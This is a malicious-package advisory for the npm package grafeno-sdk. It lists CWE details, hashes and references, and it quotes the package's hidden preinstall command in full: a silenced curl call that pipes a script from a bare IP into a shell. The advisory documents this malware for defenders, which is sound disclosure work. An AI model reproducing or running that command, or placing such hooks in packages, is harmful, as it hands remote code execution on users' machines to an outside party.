mal-2026-15508
Vulnerability from ossf_malicious_packages
Published
2026-08-28 23:02
Modified
2026-08-29 01:44
Summary
Malicious code in grafeno-sdk (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3)

package.json declares a preinstall lifecycle script that runs node -e to invoke child_process.execSync('curl -s 216.126.236.46/x.sh|sh', {shell:'/bin/bash'}), wrapped in a try/catch that silently discards errors. On npm install, this fetches an opaque shell script from a bare IPv4 address (216.126.236.46) over plain HTTP and pipes it directly to bash, giving the operator of that IP arbitrary code execution on the installer's machine. The node-wrapper and error-swallow conceal the fetch from lifecycle output and hide any failure from the installer.

CWE
  • CWE-506 - The product contains code that appears to be malicious in nature.
  • CWE-506 - The product contains code that appears to be malicious in nature.

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "package.json",
              "sha256": "942cc68d5099d9764cb1648c9286abb8cc1e2af6a584398f2b83849ec43a193e",
              "tlsh": "b9e020748d14f6f367c542710e16421776a39d0a0218bd0c774b0128e2df3a35df595b"
            }
          ],
          "package_integrity": [
            {
              "filename": "grafeno-sdk-1.0.0.tgz",
              "hashes": {
                "sha1": "43b6bfcfb654d6150a6a004aee55fb34b91b8233",
                "sha512_sri": "sha512-PmxgVSqAtz3AiHgVtQhyhmHf1GCaTvooeOiJFKGnH/wyWEPpHFkx8hgumPcWvAbmsJJrYBvDzXeCferda4S0vw=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "grafeno-sdk"
      },
      "versions": [
        "1.0.0",
        "1.0.1"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-019065",
        "import_time": "2026-08-28T23:14:35.648027575Z",
        "modified_time": "2026-08-28T23:02:18Z",
        "sha256": "665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3",
        "source": "amazon-inspector",
        "versions": [
          "1.0.0"
        ]
      },
      {
        "id": "IN-MAL-2026-019112",
        "import_time": "2026-08-29T01:42:57.888525778Z",
        "modified_time": "2026-08-29T01:42:23Z",
        "sha256": "25e44de3463c06333e90fa0b635cecc25a6f81129fca34f2b07963acb7dd11a8",
        "source": "amazon-inspector",
        "versions": [
          "1.0.1"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3)\npackage.json declares a preinstall lifecycle script that runs `node -e` to invoke `child_process.execSync(\u0027curl -s 216.126.236.46/x.sh|sh\u0027, {shell:\u0027/bin/bash\u0027})`, wrapped in a try/catch that silently discards errors. On `npm install`, this fetches an opaque shell script from a bare IPv4 address (216.126.236.46) over plain HTTP and pipes it directly to bash, giving the operator of that IP arbitrary code execution on the installer\u0027s machine. The node-wrapper and error-swallow conceal the fetch from lifecycle output and hide any failure from the installer.\n",
  "id": "MAL-2026-15508",
  "modified": "2026-08-29T01:44:41.603471033Z",
  "published": "2026-08-28T23:02:18Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/grafeno-sdk/v/1.0.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/grafeno-sdk/v/1.0.1"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in grafeno-sdk (npm)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…